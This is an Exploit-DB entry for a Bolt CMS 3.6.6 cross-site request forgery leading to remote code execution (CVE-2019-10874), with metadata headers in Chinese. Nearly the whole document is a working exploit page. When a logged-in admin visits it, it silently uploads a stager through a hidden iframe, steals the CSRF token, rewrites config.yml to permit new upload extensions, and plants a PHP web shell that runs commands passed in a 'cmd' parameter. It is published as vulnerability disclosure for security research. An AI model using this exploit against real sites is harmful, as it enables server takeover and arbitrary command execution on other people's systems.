标题: Bolt CMS 3.6.6 - Cross-Site Request Forgery / Remote Code Execution EDB-ID: 46664 CVE: 2019-10874 类型: WEBAPPS 平台: PHP 发布日期: 2019-04-08 漏洞利用脚本: <html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function exploit() {

        var target = "http://127.0.0.1"

        var bolt_admin_url = target + "/bolt";

        var xhr = new XMLHttpRequest();
        xhr.open("POST", bolt_admin_url + "/upload", true);
        xhr.setRequestHeader("Accept", "application\/json, text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------130713229751679908527494159");
        xhr.withCredentials = true;
        var body = "-----------------------------130713229751679908527494159\r\n" + 
          "Content-Disposition: form-data; name=\"files[]\"; filename=\"stager.html\"\r\n" + 
          "Content-Type: text/plain\r\n" + 
          "\r\n" + 
          "\x3cscript\x3e\r\n" + 
          "\r\n" + 
          "function exploit(){\r\n" + 
          "\r\n" + 
          "        var bolt_admin_url = \""+bolt_admin_url+"\";\r\n" + 
          "\r\n" + 
          "        var xhr = new XMLHttpRequest();\r\n" + 
          "        \r\n" + 
          "        if(xhr) {\r\n" + 
          "            xhr.open(\'GET\', bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.onreadystatechange = handler;\r\n" + 
          "            xhr.send();\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function handler(){\r\n" + 
          "          if (xhr.readyState == 4 && xhr.status == 200) {\r\n" + 
          "                user_page = document.createElement(\'html\');\r\n" + 
          "                user_page.innerHTML = xhr.responseText;\r\n" + 
          "                token_input = (user_page.getElementsByTagName(\'input\')[0]).value;\r\n" + 
          "                console.log(\"Token obtained:\" + token_input);\r\n" + 
          "                ModifyAllowedExtensions(token_input);\r\n" + 
          "                UploadShell();\r\n" + 
          "          }\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function ModifyAllowedExtensions(token) {\r\n" + 
          "\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = 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ption+that+is+set+to+true%2C+it+becomes+harder+for+a+bad-willing+person+to%0D%0A%23+spoof+your+login+session.+However%2C+it+also+requires+you+to+re-authenticate%0D%0A%23+more+often+if+you+change+location(ip-address)+or+your+browser+has+frequent%0D%0A%23+upgrades.+Only+change+these+if+you+know+what+you\\\'re+doing%2C+and+you\\\'re+having%0D%0A%23+issues+with+the+default+settings.%0D%0A%23%0D%0A%23+Note%3A+If+you+change+any+of+these%2C+all+current+users+will+automatically+be%0D%0A%23+++++++logged+off.%0D%0Acookies_use_remoteaddr%3A+true%0D%0Acookies_use_browseragent%3A+false%0D%0Acookies_use_httphost%3A+true%0D%0A%0D%0A%23+The+length+of+time+a+user+stays+\\\'logged+in\\\'.+Change+to+0+to+end+the+session%0D%0A%23+when+the+browser+is+closed.%0D%0A%23%0D%0A%23+The+default+is+1209600+(two+weeks%2C+in+seconds).%0D%0Acookies_lifetime%3A+1209600%0D%0A%0D%0A%23+Set+the+session+cookie+to+a+specific+domain.+Leave+blank%2C+unless+you+know+what%0D%0A%23+you\\\'re+doing.%0D%0A%23%0D%0A%23+When+set+incorrectly%2C+you+might+not+be+able+to+log+on+at+all.%0D%0A%23%0D%0A%23+If+you\\\'d+like+it+to+be+valid+for+all+subdomains+of+\\\'www.example.org\\\'%2C+set+this%0D%0A%23+to+\\\'.example.org\\\'.%0D%0Acookies_domain%3A%0D%0A%0D%0A%23+The+hash_strength+determines+the+amount+of+iterations+for+encrypting%0D%0A%23+passwords.%0D%0A%23%0D%0A%23+A+higher+number+means+a+harder+to+decrypt+password%2C+but+takes+longer+to%0D%0A%23+compute.+\\\'8\\\'+is+the+minimum%2C+\\\'10\\\'+is+the+default%2C+\\\'12\\\'+is+better.%0D%0Ahash_strength%3A+10%0D%0A%0D%0A%23+Bolt+sets+the+%60X-Frame-Options%60+and+%60Frame-Options%60+to+%60SAMEORIGIN%60+by%0D%0A%23+default%2C+to+prevent+the+web+browser+from+rendering+an+iframe+if+origin%0D%0A%23+mismatch+(i.e.+iframe+source+refers+to+a+different+domain).%0D%0A%23%0D%0A%23+Setting+this+to+\\\'false\\\'%2C+will+prevent+the+setting+of+these+headers.%0D%0A%23+headers%3A%0D%0A%23+++++x_frame_options%3A+true%0D%0A%0D%0A%23+Bolt+uses+market.bolt.cm+to+fetch+it\\\'s+extensions+by+default.+You+can%0D%0A%23+change+that+URL+here.%0D%0A%23%0D%0A%23+Do+not+change+this%2C+unless+you+know+what+you\\\'re+doing%2C+and+understand+the%0D%0A%23+associated+risks.+If+you+use+\\\'http%3A%2F%2Fmarket.bolt.cm\\\'%2C+Bolt+will+not+use%0D%0A%23+SSL%2C+increasing+the+risk+for+a+MITM+attacks.%0D%0A%23+extensions%3A%0D%0A%23+++++site%3A+\\\'https%3A%2F%2Fmarket.bolt.cm%2F\\\'%0D%0A%23+++++enabled%3A+true%0D%0A%23+++++composer%3A%0D%0A%23+++++++++minimum-stability%3A+stable++++++%23+Either+\\\'stable\\\'%2C+\\\'beta\\\'%2C+or+\\\'dev\\\'.+Setting+\\\'dev\\\'+will+allow+you+to+install+dev-master+versions+of+extensions.%0D%0A%23+++++++++prefer-stable%3A+true++++++++++++%23+Prefer+stable+releases+over+development+ones%0D%0A%23+++++++++prefer-dist%3A+true++++++++++++++%23+Forces+installation+from+package+dist+even+for+dev+versions.%0D%0A%23+++++++++prefer-source%3A+false+++++++++++%23+Forces+installation+from+package+sources+when+possible%2C+including+VCS+information.%0D%0A%23+++++++++config%3A%0D%0A%23+++++++++++++optimize-autoloader%3A+false+++++%23+Optimize+autoloader+during+autoloader+dump.%0D%0A%23+++++++++++++classmap-authoritative%3A+false++%23+Autoload+classes+from+the+classmap+only.+Implicitly+enables+%60optimize-autoloader%60.%0D%0A%0D%0A%23+Enforcing+the+use+of+SSL.+If+set%2C+all+pages+will+enforce+an+SSL+connection%2C%0D%0A%23+and+redirect+to+HTTPS+if+you+attempt+to+visit+plain+HTTP+pages.%0D%0A%23+enforce_ssl%3A+true%0D%0A%0D%0A%23+If+configured%2C+Bolt+will+trust+X-Forwarded-XXX+headers+from+the+listed+IP%0D%0A%23+addresses+and+ranges+when+determining+whether+the+current+request+is%0D%0A%23+\\\'secure\\\'.%0D%0A%23%0D%0A%23+This+is+required+to+correctly+determine+the+current+hostname+and+protocol%0D%0A%23+(HTTP+vs.+HTTPS)+when+running+behind+some+proxy%2C+e.g.+a+load+balancer%2C+cache%2C%0D%0A%23+or+SSL+proxy.%0D%0A%23%0D%0A%23+List+the+IP+addresses+or+subnets+that+you+know+are+such+proxies.%0D%0A%23%0D%0A%23+Note%3A+Allowing+hosts+here+that+may+not+be+trusted+proxies+is+a+security+risk.%0D%0A%23+++++++If+you+do+not+understand+what+this+does%2C+it+is+probably+best+to+not%0D%0A%23+++++++touch+it.%0D%0A%23+trustProxies%3A%0D%0A%23+++++-+127.0.0.1%0D%0A%23+++++-+10.0.0.0%2F8%0D%0A%0D%0A%23+If+you+want+Bolt+installation+get+news+through+a+proxy%0D%0A%23+httpProxy%3A%0D%0A%23+++++host%3A+scheme%3A%2F%2Fmy.proxy.server%3Aport%0D%0A%23+++++user%3A+%5Busr%5D%0D%0A%23+++++password%3A+%5Bpwd%5D%0D%0A%0D%0A%23+Options+for+backend+user+interface%0D%0A%23+backend%3A%0D%0A%23++++news%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+news+panel.+Defaults+to+false.+%22Alerts%22+will+still+be+shown.%0D%0A%23++++stack%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+stack+usage.+Defaults+to+false.%0D%0A%0D%0A%23+Options+that+will+be+forced+in+next+major+version%0D%0Acompatibility%3A%0D%0A++++%23+Whether+to+return+TemplateView+instead+of+TemplateResponse+from+Controller%5CBase%3A%3Arender()%0D%0A++++%23+Response+methods+cannot+be+used+on+TemplateView+objects.%0D%0A++++%23+Setting+this+value+to+false+is+deprecated.%0D%0A++++template_view%3A+true%0D%0A++++%23+Set+to+\\\'false\\\'+to+enable+using+a+newer+version+of+the+setcontent+parser.%0D%0A++++setcontent_legacy%3A+true%0D%0A&file_edit%5Bsave%5D=undefined\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function UploadShell() {\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/upload\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"multipart\\/form-data; boundary=---------------------------130713229751679908527494159\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = \"-----------------------------130713229751679908527494159\\r\\n\" + \r\n" + 
          "              \"Content-Disposition: form-data; name=\\\"files[]\\\"; filename=\\\"shell.php\\\"\\r\\n\" + \r\n" + 
          "              \"Content-Type: text/plain\\r\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"\\x3c?php echo(system($_GET[\\\'cmd\\\'])); ?\\x3e\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"-----------------------------130713229751679908527494159--\\r\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "    }\r\n" + 
          "\r\n" + 
          "    exploit();\r\n" + 
          "\r\n" + 
          "\x3c/script\x3e\r\n" + 
          "\n" + 
          "\r\n" + 
          "-----------------------------130713229751679908527494159--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));

        setTimeout(function() {
            var dateObj = new Date();
            var folder = dateObj.getFullYear() + "-" + (String("00"+(dateObj.getMonth()+1)).slice(-2));
            document.getElementById('stager').src = target + "/files/"+folder+"/stager.html";
            console.log("Called stager! Wait a moment and access: " + target + "/files/" + folder + "/shell.php?cmd=whoami");
         }, 2000);

      }

      window.onload = function() {
        exploit();
      };

    </script>
     <iframe id="stager" style="width:0;height:0;border:0;border:none" src=""></iframe>
  </body>
</html> URL: https://www.exploit-db.com/exploits/46664